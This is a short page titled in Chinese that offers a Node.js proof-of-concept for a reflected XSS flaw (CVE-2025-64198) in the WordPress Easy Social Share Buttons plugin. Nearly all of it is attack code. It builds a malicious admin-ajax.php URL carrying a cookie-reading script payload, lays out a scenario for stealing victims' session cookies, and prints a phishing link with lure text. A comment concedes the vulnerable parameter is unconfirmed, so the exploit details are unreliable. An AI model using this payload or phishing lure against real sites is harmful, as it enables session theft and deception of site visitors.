CVE-2025-64198 WordPress Easy Social Share Buttons插件反射型XSS漏洞

// CVE-2025-64198 Reflected XSS PoC for Easy Social Share Buttons < 10.7.1 // Target: WordPress site with easy-social-share-buttons3 plugin const https = require('https'); const querystring = require('querystring'); // Malicious JavaScript payload to be executed in victim's browser const xssPayload = '<script>alert(document.cookie)</script>'; // Construct the malicious URL with the XSS payload // The vulnerable parameter needs to be identified from the plugin const vulnerableURL = 'https://target-site.com/wp-admin/admin-ajax.php'; const params = { 'action': 'essb_rs_subscribe', 'post_id': '1', 'c': xssPayload // Vulnerable parameter }; const fullURL = vulnerableURL + '?' + querystring.stringify(params); console.log('[*] CVE-2025-64198 Reflected XSS PoC'); console.log('[*] Target: ' + vulnerableURL); console.log('[*] Malicious URL:'); console.log(fullURL); console.log('\n[*] Attack Scenario:'); console.log('1. Attacker crafts a malicious URL with XSS payload'); console.log('2. Attacker tricks victim into clicking the link'); console.log('3. Victim browser executes the malicious JavaScript'); console.log('4. Attacker steals session cookies or performs actions'); // Alternative: Direct HTML PoC for social engineering const htmlPoC = ` <a href="${fullURL}">Click here for amazing offer!</a> <img src=x onerror="${xssPayload}"> `; console.log('\n[*] HTML PoC for phishing:'); console.log(htmlPoC);